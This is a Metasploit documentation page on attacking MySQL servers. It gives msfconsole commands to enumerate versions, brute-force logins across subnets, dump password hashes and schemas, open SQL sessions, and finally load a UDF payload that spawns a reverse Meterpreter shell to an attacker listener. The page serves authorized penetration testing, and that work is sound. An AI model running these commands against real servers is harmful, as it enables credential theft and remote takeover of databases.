Metasploit Documentation

Pentesting / MySQL

MySQL

MySQL is frequently found on port 3306/TCP. It is an open-source relational database management system.

Metasploit has support for multiple MySQL modules, including:

- Version enumeration
- Verifying/bruteforcing credentials
- Dumping database information
- Executing arbitrary queries against the database
- Executing arbitrary SQL queries against the database
- Gaining reverse shells

There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:

```
msf6 > search mysql
```

Or to search for modules that work with a specific session type:

```
msf6 > search session_type:mysql
```

Lab Environment

When testing in a lab environment MySQL can either be installed on the host machine or within Docker:

```
docker run -it --rm -e MYSQL_ROOT_PASSWORD=' a b c p4$$w0rd' -p 3306:3306 mariadb:latest
```

MySQL Enumeration

Enumerate version:

```
use auxiliary/scanner/mysql/mysql_version
run mysql://127.0.0.1
```

MySQL Login / Bruteforce

If you have MySQL credentials to validate:

```
use auxiliary/scanner/mysql/mysql_login
run 'mysql://root: a b c p4$$w0rd@127.0.0.1'
```

Re-using MySQL credentials in a subnet:

```
use auxiliary/scanner/mysql/mysql_login
run cidr:/24:mysql://user:pass@192.168.222.0 threads=50
```

Using an alternative port:

```
use auxiliary/scanner/mysql/mysql_login
run mysql://user:pass@192.168.123.6:2222
```

Brute-force host with known user and password list:

```
use auxiliary/scanner/mysql/mysql_login
run mysql://known_user@192.168.222.1 threads=50 pass_file=./wordlist.txt
```

Brute-force credentials:

```
use auxiliary/scanner/mysql/mysql_login
run mysql://192.168.222.1 threads=50 user_file=./users.txt pass_file=./wordlist.txt
```

Brute-force credentials in a subnet:

```
use auxiliary/scanner/mysql/mysql_login
run cidr:/24:mysql://user:pass@192.168.222.0 threads=50
run cidr:/24:mysql://user@192.168.222.0 threads=50 pass_file=./wordlist.txt
```

Obtaining an Interactive Session on the Target

The CreateSession option in `auxiliary/scanner/mysql/msql_login` allows you to obtain an interactive session for the MySQL client you're connecting to. The run command with CreateSession set to true should give you an interactive session:

```
msf6 > use scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login) > run rhost=127.0.0.1 rport=4306 username=root password=password

[+] 127.0.0.1:4306        - 127.0.0.1:4306 - Found remote MySQL version 11.2.2
[+] 127.0.0.1:4306        - 127.0.0.1:4306 - Success: 'root:password'
[*] MySQL session 1 opened (127.0.0.1:53241 -> 127.0.0.1:4306) at 2024-03-12 12:40:46 -0500
[*] 127.0.0.1:4306        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i -1
[*] Starting interaction with 1...

mysql @ 127.0.0.1:4306 >
```

You can interact with your new session using `sessions -i -1` or `sessions <session id>`. You can also use `help` to get more information about how to use your session.

```
msf6 auxiliary(scanner/mysql/mysql_login) > sessions

Active sessions
===============

  Id  Name  Type   Information                    Connection
  --  ----  ----   -----------                    ----------
  2         mssql  MSSQL test @ 192.168.2.242:1433  192.168.2.1:61428 -> 192.168.2.242:1433 (192.168.2.242
  3         mysql  MySQL root @ 127.0.0.1:4306      127.0.0.1:61450 -> 127.0.0.1:4306 (127.0.0.1)

msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i 3
[*] Starting interaction with 3...
```

When interacting with a session, the help command can be useful:

```
mysql @ 127.0.0.1:4306 > help

Core Commands
=============

    Command            Description
    -------            -----------
    ?                  Help menu
    background         Backgrounds the current session
    bg                 Alias for background
    exit               Terminate the PostgreSQL session
    help               Help menu
    irb                Open an interactive Ruby shell on the current session
    pry                Open the Pry debugger on the current session
    sessions           Quickly switch to another session


MySQL Client Commands
=====================

    Command            Description
    -------            -----------
    query              Run a single SQL query
    query_interactive  Enter an interactive prompt for running multiple SQL queries


Local File System Commands
==========================

    Command            Description
    -------            -----------
    getlwd             Print local working directory (alias for lpwd)
    lcat               Read the contents of a local file to the screen
    lcd                Change local working directory
    ldir               List local files (alias for lls)
    lls                List local files
    lmkdir             Create new directory on local machine
```

```
    lpwd               Print local working directory

This session also works with the following modules:

  auxiliary/admin/mysql/mysql_enum
  auxiliary/admin/mysql/mysql_sql
  auxiliary/scanner/mysql/mysql_file_enum
  auxiliary/scanner/mysql/mysql_hashdump
  auxiliary/scanner/mysql/mysql_schemadump
  auxiliary/scanner/mysql/mysql_version
  auxiliary/scanner/mysql/mysql_writable_dirs
  exploit/multi/mysql/mysql_udf_payload
  exploit/windows/mysql/mysql_mof
  exploit/windows/mysql/mysql_start_up
```

Once you've done that, you can run any MySQL query against the target using the `query` command:

```
mysql @ 127.0.0.1:4306 > query -h
Usage: query

Run a single SQL query on the target.

OPTIONS:

    -h, --help      Help menu.
    -i, --interact  Enter an interactive prompt for running multiple SQL queries

Examples:

    query SHOW DATABASES;
    query USE information_schema;
    query SELECT * FROM SQL_FUNCTIONS;
    query SELECT version();

mysql @ 127.0.0.1:4306 > query 'SELECT version();'
Response
========
```

```
    #  version()
    -  ---------
    0  11.2.2-MariaDB-1:11.2.2+maria~ubu2204
```

Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:

```
mysql @ 127.0.0.1:4306 () > query_interactive -h
Usage: query_interactive

Go into an interactive SQL shell where SQL queries can be executed.
To exit, type 'exit', 'quit', 'end' or 'stop'.

mysql @ 127.0.0.1:4306 () > query_interactive
[*] Starting interactive SQL shell for mysql @ 127.0.0.1:4306 ()
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.

SQL >> SELECT table_name
SQL *> FROM information_schema.tables
SQL *> LIMIT 2;
[*] Executing query: SELECT table_name FROM information_schema.tables LIMIT 2;
Response
========

    #  table_name
    -  ----------
    0  ALL_PLUGINS
    1  APPLICABLE_ROLES

SQL >>
```

MySQL Dumping

User and hash dump:

```
use auxiliary/scanner/mysql/mysql_hashdump
run 'mysql://root: a b c p4$$w0rd@127.0.0.1'
```

Schema dump:

```
use auxiliary/scanner/mysql/mysql_schemadump
run 'mysql://root: a b c p4$$w0rd@127.0.0.1'
```

MySQL Querying

Execute raw SQL:

```
use admin/mysql/mysql_sql
run 'mysql://root: a b c p4$$w0rd@127.0.0.1' sql='select version()'
```

MySQL Reverse Shell

This module creates and enables a custom UDF (user defined function) on the target host via the `SELECT ... into DUMPFILE` method of binary injection. On default Microsoft Windows installations of MySQL (=< 5.5.9), directory write permissions not enforced, and the MySQL service runs as LocalSystem.

For this to work successfully:

1. `secure_file_priv`, a mysql setting, must be changed from the default to allow writing to MySQL's plugins folder
2. On Ubuntu, apparmor needs a bunch of exceptions added, or to be disabled. Equivalents on other linux systems most likely need the same
3. The MySQL plugin folder must be writable

NOTE: This module will leave a payload executable on the target system when the attack is finished, as well as the UDF DLL, and will define or redefine `sys_eval()` and `sys_exec()` functions. Usage:

```
use multi/mysql/mysql_udf_payload
run 'mysql://root: a b c p4$$w0rd@127.0.0.1' lhost=192.168.123.1 target=Linux payload=linux/x86/meterprete
```